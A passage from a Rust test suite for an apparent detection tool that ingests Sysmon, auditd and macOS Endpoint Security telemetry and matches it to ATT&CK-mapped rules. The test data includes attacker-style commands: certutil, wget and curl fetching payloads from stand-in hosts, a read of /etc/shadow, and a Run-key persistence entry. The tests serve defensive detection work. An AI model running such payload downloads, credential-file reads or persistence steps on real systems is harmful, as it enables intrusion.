890            "platform": "windows-sysmon",
891            "entries": [{
892                "id": "registry-run-key-persistence",
893                "match": { "event": { "class": "registry", "field": "TargetObject",
894                                      "contains": "\\CurrentVersion\\Run" } },
895                "description": "Autorun value set under a Run key",
896                "techniques": [{"id": "T1547.001", "name": "Registry Run Keys / Startup Folder"}],
897                "telemetry": ["Sysmon EID 13 (registry value set) under a Run key"],
898                "noise": 60
899            }]
900        }"#;
901        let kb: KnowledgeBase = serde_json::from_str(json).expect("test KB parses");
902        kb.validate().expect("test KB valid");
903        kb
904    }
905
906    #[test]
907    fn standalone_registry_event_matches_the_event_axis() {
908        // A registry Run-key set whose causing process was not captured: no
909        // execution to correlate to, so it becomes a standalone event observation
910        // and is matched against the KB `event` axis.
911        let sysmon = r#"[{"EventID":13,"ProcessId":"7777",
912            "TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater"}]"#;
913        let ingest = parse(sysmon, Format::Sysmon).expect("parses");
914        assert!(ingest.observations.is_empty());
915        assert_eq!(ingest.event_observations.len(), 1);
916        assert_eq!(ingest.event_observations[0].class, "registry");
917
918        let report = analyzer::analyze_telemetry(&ingest, &event_kb());
919        let f = report
920            .findings
921            .iter()
922            .find(|f| f.rule_id == "registry-run-key-persistence")
923            .expect("standalone registry finding");
924        assert_eq!(f.techniques[0].id, "T1547.001");
925        // The observed event detail rides along as a confirmed side-effect.
926        assert!(
927            f.observed_side_effects
928                .iter()
929                .any(|se| se.class == "registry" && se.detail.contains("registry set"))
930        );
931    }
932
933    #[test]
934    fn correlated_registry_event_is_not_also_matched_standalone() {
935        // When the causing execution IS captured, the registry event attaches to
936        // it as a side-effect and does not become a standalone observation — so it
937        // can't double-count.
938        let sysmon = r#"[
939            {"EventID":1,"ProcessId":"5555","Image":"C:\\Windows\\System32\\reg.exe","CommandLine":"reg add x"},
940            {"EventID":13,"ProcessId":"5555","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\x"}
941        ]"#;
942        let ingest = parse(sysmon, Format::Sysmon).expect("parses");
943        assert_eq!(ingest.observations.len(), 1);
944        assert_eq!(ingest.observations[0].side_effects.len(), 1);
945        assert!(ingest.event_observations.is_empty());
946    }
947
948    #[test]
949    fn image_is_authoritative_for_the_program_basename() {
950        // A single flat event: the program comes from `Image` (path-stripped,
951        // `.exe`-normalized), matching how the KB resolves a program.
952        let ev = r#"{"EventID":1,"Image":"C:\\Windows\\System32\\certutil.exe","CommandLine":"certutil -urlcache -f http://x/a a"}"#;
953        let ingest = parse(ev, Format::Sysmon).expect("parses");
954        assert_eq!(ingest.observations.len(), 1);
955        assert_eq!(ingest.observations[0].commands[0].program, "certutil");
956    }
957
958    #[test]
959    fn ingests_jsonl_with_nested_event_data() {
960        // JSONL, exercising the `EventData` and Elastic `winlog.event_data`
961        // nesting shapes.
962        let ingest = parse(&fixture("sysmon-eid1.jsonl"), Format::Sysmon).expect("parses");
963        assert_eq!(ingest.observations.len(), 2);
964        assert_eq!(ingest.skipped, 0);
965        let report = analyzer::analyze_telemetry(&ingest, &win_kb());
966        let ids = ids(&report);
967        assert!(ids.contains(&"vssadmin-delete".to_string()));
968        assert!(ids.contains(&"net-user".to_string()));
969    }
970
971    #[test]
972    fn sysmon_correlates_network_and_file_side_effects() {
973        let ingest =
974            parse(&fixture("sysmon-with-side-effects.json"), Format::Sysmon).expect("parses");
975        // One EID 1 execution; the three non-process records are skipped as units.
976        assert_eq!(ingest.observations.len(), 1);
977        assert_eq!(ingest.skipped, 3);
978        // The EID 3 / EID 11 events sharing the process's pid attach as confirmed
979        // side-effects; the EID 3 for an uncaptured pid (9999) is dropped.
980        let effects = &ingest.observations[0].side_effects;
981        assert_eq!(effects.len(), 2);
982        assert!(
983            effects
984                .iter()
985                .any(|e| e.class == "network" && e.detail == "network connection to 192.0.2.10:443")
986        );
987        assert!(
988            effects
989                .iter()
990                .any(|e| e.class == "file" && e.detail.contains("a.exe"))
991        );
992    }
993
994    #[test]
995    fn side_effects_reach_the_finding() {
996        let ingest =
997            parse(&fixture("sysmon-with-side-effects.json"), Format::Sysmon).expect("parses");
998        let report = analyzer::analyze_telemetry(&ingest, &win_kb());
999        let certutil = report
1000            .findings
1001            .iter()
1002            .find(|f| f.rule_id == "certutil-download")
1003            .expect("certutil finding");
1004        assert_eq!(certutil.observed_side_effects.len(), 2);
1005    }
1006
1007    #[test]
1008    fn side_effects_correlate_to_the_latest_execution_of_a_reused_pid() {
1009        // Two executions reuse pid 100. Each connection must attach to the
1010        // execution that most recently held the pid — not both to the first.
1011        let sysmon = r#"[
1012            {"EventID":1,"ProcessId":"100","Image":"C:\\a.exe","CommandLine":"a.exe"},
1013            {"EventID":3,"ProcessId":"100","DestinationIp":"10.0.0.1","DestinationPort":"1"},
1014            {"EventID":1,"ProcessId":"100","Image":"C:\\b.exe","CommandLine":"b.exe"},
1015            {"EventID":3,"ProcessId":"100","DestinationIp":"10.0.0.2","DestinationPort":"2"}
1016        ]"#;
1017        let ingest = parse(sysmon, Format::Sysmon).expect("parses");
1018        assert_eq!(ingest.observations.len(), 2);
1019        assert_eq!(ingest.observations[0].side_effects.len(), 1);
1020        assert!(
1021            ingest.observations[0].side_effects[0]
1022                .detail
1023                .contains("10.0.0.1")
1024        );
1025        assert_eq!(ingest.observations[1].side_effects.len(), 1);
1026        assert!(
1027            ingest.observations[1].side_effects[0]
1028                .detail
1029                .contains("10.0.0.2")
1030        );
1031    }
1032
1033    #[test]
1034    fn network_event_without_a_command_line_is_not_a_process_create() {
1035        // Sysmon EID 3 (network connection) carries an Image but no CommandLine;
1036        // even with the event id stripped it must not be read as a process.
1037        let mut fields = HashMap::new();
1038        fields.insert(
1039            "Image".to_string(),
1040            "C:\\Windows\\System32\\svchost.exe".to_string(),
1041        );
1042        fields.insert("DestinationIp".to_string(), "192.0.2.1".to_string());
1043        assert!(reduce_process_create(&fields).is_none());
1044    }
1045
1046    #[test]
1047    fn observed_mode_agrees_with_predictive_mode() {
1048        // The same command, seen as recorded telemetry or predicted from text,
1049        // must resolve to the same findings — the two modes share one matcher.
1050        let cmdline = "certutil.exe -urlcache -f http://x/a.exe a.exe";
1051        let ev = format!(
1052            r#"{{"EventID":1,"Image":"C:\\Windows\\System32\\certutil.exe","CommandLine":"{cmdline}"}}"#
1053        );
1054        let ingest = parse(&ev, Format::Sysmon).expect("parses");
1055        let observed = ids(&analyzer::analyze_telemetry(&ingest, &win_kb()));
1056        let predicted = ids(&analyzer::analyze(cmdline, &win_kb()));
1057        let set = |v: Vec<String>| v.into_iter().collect::<std::collections::BTreeSet<_>>();
1058        assert_eq!(set(observed), set(predicted));
1059    }
1060
1061    #[test]
1062    fn top_level_field_wins_over_a_nested_duplicate() {
1063        // When a record carries the same field both flat and nested, the
1064        // top-level value wins — deterministically, regardless of key order.
1065        let ev = r#"{
1066            "EventData": { "Image": "C:\\nested\\reg.exe", "CommandLine": "reg query HKLM" },
1067            "Image": "C:\\Windows\\System32\\certutil.exe",
1068            "EventID": 1
1069        }"#;
1070        let value: serde_json::Value = serde_json::from_str(ev).unwrap();
1071        let fields = flatten_fields(&value);
1072        assert_eq!(
1073            fields.get("Image").map(String::as_str),
1074            Some("C:\\Windows\\System32\\certutil.exe")
1075        );
1076        // The nested-only field is still collected.
1077        assert_eq!(
1078            fields.get("CommandLine").map(String::as_str),
1079            Some("reg query HKLM")
1080        );
1081    }
1082
1083    #[test]
1084    fn observation_carries_canonical_event_fields() {
1085        // The fields a command line can't supply are canonically named and kept
1086        // on the observation, so Sigma evaluation can consult them. Casing and
1087        // the Elastic `winlog` nesting are both normalized.
1088        let ev = r#"{"winlog":{"event_id":1,"event_data":{
1089            "Image":"C:\\Windows\\System32\\certutil.exe",
1090            "CommandLine":"certutil -urlcache -f http://x/a a",
1091            "parentimage":"C:\\Program Files\\Microsoft Office\\WINWORD.EXE",
1092            "IntegrityLevel":"Medium"
1093        }}}"#;
1094        let ingest = parse(ev, Format::Sysmon).expect("parses");
1095        let event = &ingest.observations[0].event;
1096        assert_eq!(event.get("EventID").map(String::as_str), Some("1"));
1097        assert_eq!(
1098            event.get("ParentImage").map(String::as_str),
1099            Some("C:\\Program Files\\Microsoft Office\\WINWORD.EXE")
1100        );
1101        assert_eq!(
1102            event.get("IntegrityLevel").map(String::as_str),
1103            Some("Medium")
1104        );
1105    }
1106
1107    #[test]
1108    fn invalid_json_is_a_clear_error() {
1109        assert!(parse("not json at all", Format::Sysmon).is_err());
1110    }
1111
1112    // --- auditd ------------------------------------------------------------
1113
1114    #[test]
1115    fn ingests_auditd_execve_and_skips_non_exec() {
1116        let ingest = parse(&fixture("auditd-execve.log"), Format::Auditd).expect("parses");
1117        // Three execve events (cat, wget, whoami); the connect event (syscall 42,
1118        // no EXECVE record) is skipped.
1119        assert_eq!(ingest.observations.len(), 3);
1120        assert_eq!(ingest.skipped, 1);
1121        // Record numbers are the events' source positions: the skipped connect
1122        // event is #3, so whoami (the 4th event) is record 4 — not 3.
1123        assert_eq!(
1124            ingest
1125                .observations
1126                .iter()
1127                .map(|o| o.record)
1128                .collect::<Vec<_>>(),
1129            vec![1, 2, 4]
1130        );
1131    }
1132
1133    #[test]
1134    fn analyzes_ingested_auditd_events_via_the_existing_matcher() {
1135        let ingest = parse(&fixture("auditd-execve.log"), Format::Auditd).expect("parses");
1136        let report = analyzer::analyze_telemetry(&ingest, &lnx_kb());
1137        let ids = ids(&report);
1138        assert!(ids.contains(&"shadow-read".to_string()));
1139        assert!(ids.contains(&"wget".to_string()));
1140        assert!(ids.contains(&"whoami".to_string()));
1141    }
1142
1143    #[test]
1144    fn auditd_rebuilds_argv_and_decodes_hex_and_quoted_values() {
1145        let ingest = parse(&fixture("auditd-execve.log"), Format::Auditd).expect("parses");
1146        // Event 2 (wget): the exe path and a0 arrive hex-encoded, the URL quoted.
1147        let wget = &ingest.observations[1];
1148        assert_eq!(wget.commands[0].program, "wget");
1149        assert_eq!(wget.raw, "wget http://192.0.2.10/payload");
1150        assert_eq!(
1151            wget.event.get("Image").map(String::as_str),
1152            Some("/usr/bin/wget")
1153        );
1154        // The working directory rides along from the CWD record for observed
1155        // Sigma evaluation.
1156        assert_eq!(
1157            wget.event.get("CurrentDirectory").map(String::as_str),
1158            Some("/tmp")
1159        );
1160        // Numeric uid is deliberately not mapped onto the name-based User field.
1161        assert!(wget.event.get("User").is_none());
1162    }
1163
1164    #[test]
1165    fn auditd_reassembles_records_out_of_order() {
1166        // EXECVE before its SYSCALL, and an unrelated event interleaved: grouping
1167        // is by the audit(…) id, not adjacency.
1168        let log = "\
1169type=EXECVE msg=audit(10.0:1): argc=2 a0=\"cat\" a1=\"/etc/shadow\"
1170type=SYSCALL msg=audit(99.9:2): syscall=42 exe=\"/usr/bin/ss\"
1171type=SYSCALL msg=audit(10.0:1): syscall=59 exe=\"/usr/bin/cat\" uid=0
1172";
1173        let ingest = parse(log, Format::Auditd).expect("parses");
1174        assert_eq!(ingest.observations.len(), 1);
1175        assert_eq!(ingest.skipped, 1);
1176        assert_eq!(ingest.observations[0].raw, "cat /etc/shadow");
1177        assert_eq!(
1178            ingest.observations[0]
1179                .event
1180                .get("Image")
1181                .map(String::as_str),
1182            Some("/usr/bin/cat")
1183        );
1184    }
1185
1186    #[test]
1187    fn decode_value_handles_quoted_hex_and_literal() {
1188        assert_eq!(decode_value("\"/usr/bin/cat\""), "/usr/bin/cat");
1189        assert_eq!(decode_value("2f7573722f62696e2f6361740000"), "/usr/bin/cat");
1190        assert_eq!(decode_value("/usr/bin/whoami"), "/usr/bin/whoami");
1191        // An even-length all-hex token like "5678" DOES decode (→ "Vx") — which
1192        // is exactly why decode_value is applied only to string fields (exe, cwd,
1193        // argv), never to numeric ones like uid/pid. Odd-length or non-hex always
1194        // passes through literally.
1195        assert_eq!(decode_value("5678"), "Vx");
1196        assert_eq!(decode_value("567"), "567");
1197    }
1198
1199    #[test]
1200    fn auditd_preserves_argv_boundaries_across_whitespace_and_metachars() {
1201        // auditd hex-encodes argv values that contain spaces/quotes/separators.
1202        // Joining the exact argv must keep each element one token, not let the
1203        // shell parser re-split it. a2 = hex("hello world"), a3 = hex("a;b|c").
1204        let log = "\
1205type=SYSCALL msg=audit(1.0:1): syscall=59 exe=\"/usr/bin/grep\"
1206type=EXECVE msg=audit(1.0:1): argc=4 a0=\"grep\" a1=\"-r\" a2=68656c6c6f20776f726c64 a3=613b627c63
1207";
1208        let ingest = parse(log, Format::Auditd).expect("parses");
1209        let cmd = &ingest.observations[0].commands[0];
1210        assert_eq!(cmd.program, "grep");
1211        // The space- and separator-bearing args each survive as a single token.
1212        assert!(
1213            cmd.args.iter().any(|a| a == "hello world"),
1214            "expected 'hello world' as one arg, got {:?}",
1215            cmd.args
1216        );
1217        assert!(
1218            cmd.args.iter().any(|a| a == "a;b|c"),
1219            "expected 'a;b|c' as one arg, got {:?}",
1220            cmd.args
1221        );
1222    }
1223
1224    #[test]
1225    fn passwd_maps_uid_to_name() {
1226        let passwd = "root:x:0:0:root:/root:/bin/bash\n# comment\nanalyst:x:1000:1000::/home/analyst:/bin/zsh\nbad-line\n";
1227        let map = parse_passwd(passwd);
1228        assert_eq!(map.get("0").map(String::as_str), Some("root"));
1229        assert_eq!(map.get("1000").map(String::as_str), Some("analyst"));
1230        assert_eq!(map.len(), 2);
1231    }
1232
1233    #[test]
1234    fn auditd_resolves_user_only_with_a_mapping() {
1235        let log = "\
1236type=SYSCALL msg=audit(1.0:1): syscall=59 exe=\"/usr/bin/whoami\" uid=0
1237type=EXECVE msg=audit(1.0:1): argc=1 a0=\"whoami\"
1238";
1239        // No mapping: uid stays unresolved — honest, so a User-keyed rule remains
1240        // indeterminate rather than getting a wrong answer.
1241        let bare = parse(log, Format::Auditd).expect("parses");
1242        assert!(bare.observations[0].event.get("User").is_none());
1243
1244        // With a mapping, uid 0 resolves to root.
1245        let users = parse_passwd("root:x:0:0:::\n");
1246        let mapped = parse_with_users(log, Format::Auditd, &users).expect("parses");
1247        assert_eq!(
1248            mapped.observations[0].event.get("User").map(String::as_str),
1249            Some("root")
1250        );
1251    }
1252
1253    #[test]
1254    fn empty_auditd_input_is_a_clear_error() {
1255        assert!(parse("", Format::Auditd).is_err());
1256        assert!(parse("---- \n#comment\n", Format::Auditd).is_err());
1257    }
1258
1259    // --- macOS Endpoint Security (eslogger) --------------------------------
1260
1261    #[test]
1262    fn ingests_esf_exec_and_skips_non_exec() {
1263        let ingest = parse(&fixture("esf-exec.jsonl"), Format::Esf).expect("parses");
1264        // Three exec events (curl, whoami, sw_vers); the lone open event is
1265        // skipped, and record numbers follow source position (sw_vers is #4).
1266        assert_eq!(ingest.observations.len(), 3);
1267        assert_eq!(ingest.skipped, 1);
1268        assert_eq!(
1269            ingest
1270                .observations
1271                .iter()
1272                .map(|o| o.record)
1273                .collect::<Vec<_>>(),
1274            vec![1, 2, 4]
1275        );
1276    }
1277
1278    #[test]
1279    fn analyzes_ingested_esf_events_via_the_existing_matcher() {
1280        let ingest = parse(&fixture("esf-exec.jsonl"), Format::Esf).expect("parses");
1281        let report = analyzer::analyze_telemetry(&ingest, &mac_kb());
1282        let ids = ids(&report);
1283        assert!(ids.contains(&"curl".to_string()));
1284        assert!(ids.contains(&"whoami".to_string()));
1285        assert!(ids.contains(&"sw-vers".to_string()));
1286    }
1287
1288    #[test]
1289    fn esf_reduces_target_argv_and_carries_the_calling_parent() {
1290        let ingest = parse(&fixture("esf-exec.jsonl"), Format::Esf).expect("parses");
1291        // Event 1 (curl): image/argv/cwd come from event.exec.target, and the
1292        // parent image from the calling process (process.executable.path).
1293        let curl = &ingest.observations[0];
1294        assert_eq!(curl.commands[0].program, "curl");
1295        assert_eq!(curl.raw, "curl -s -O http://192.0.2.10/payload");
1296        assert_eq!(
1297            curl.event.get("Image").map(String::as_str),
1298            Some("/usr/bin/curl")
1299        );
1300        assert_eq!(
1301            curl.event.get("CurrentDirectory").map(String::as_str),
1302            Some("/Users/analyst")
1303        );
1304        // The ParentImage a command line can't supply — ESF's payoff.
1305        assert_eq!(
1306            curl.event.get("ParentImage").map(String::as_str),
1307            Some("/usr/bin/osascript")
1308        );
1309    }
1310
1311    #[test]
1312    fn esf_carries_code_signing_fields() {
1313        // The signing context a command line can't supply rides along for
1314        // observed Sigma evaluation of macOS unsigned/third-party rules.
1315        let ev = r#"{"event":{"exec":{"target":{
1316            "executable":{"path":"/tmp/curl"},
1317            "signing_id":"com.example.tool","team_id":"ABCDE12345","is_platform_binary":false},
1318            "args":["curl","http://x/y"]}},"process":{"executable":{"path":"/bin/zsh"}}}"#;
1319        let ingest = parse(ev, Format::Esf).expect("parses");
1320        let event = &ingest.observations[0].event;
1321        assert_eq!(
1322            event.get("signing_id").map(String::as_str),
1323            Some("com.example.tool")
1324        );
1325        assert_eq!(event.get("team_id").map(String::as_str), Some("ABCDE12345"));
1326        assert_eq!(
1327            event.get("is_platform_binary").map(String::as_str),
1328            Some("false")
1329        );
1330    }
1331
1332    #[test]
1333    fn auditd_carries_tty_and_key() {
1334        let log = "\
1335type=SYSCALL msg=audit(1.0:1): syscall=59 exe=\"/usr/bin/whoami\" tty=pts0 key=\"recon\"
1336type=EXECVE msg=audit(1.0:1): argc=1 a0=\"whoami\"
1337";
1338        let ingest = parse(log, Format::Auditd).expect("parses");
1339        let event = &ingest.observations[0].event;
1340        assert_eq!(event.get("tty").map(String::as_str), Some("pts0"));
1341        assert_eq!(event.get("key").map(String::as_str), Some("recon"));
1342    }
1343
1344    #[test]
1345    fn auditd_omits_placeholder_tty() {
1346        // A `(none)` tty is a placeholder, not a value — it must not be carried.
1347        let log = "\
1348type=SYSCALL msg=audit(1.0:1): syscall=59 exe=\"/usr/bin/whoami\" tty=(none)
1349type=EXECVE msg=audit(1.0:1): argc=1 a0=\"whoami\"
1350";
1351        let ingest = parse(log, Format::Auditd).expect("parses");
1352        assert!(ingest.observations[0].event.get("tty").is_none());
1353    }
1354
1355    #[test]
1356    fn empty_esf_input_is_a_clear_error() {
1357        assert!(parse("", Format::Esf).is_err());
1358        // A well-formed non-exec event yields zero observations (all skipped),
1359        // not an error.
1360        let open = r#"{"event":{"open":{"file":{"path":"/x"}}}}"#;
1361        let ingest = parse(open, Format::Esf).expect("parses");
1362        assert_eq!(ingest.observations.len(), 0);
1363        assert_eq!(ingest.skipped, 1);
1364    }
1365}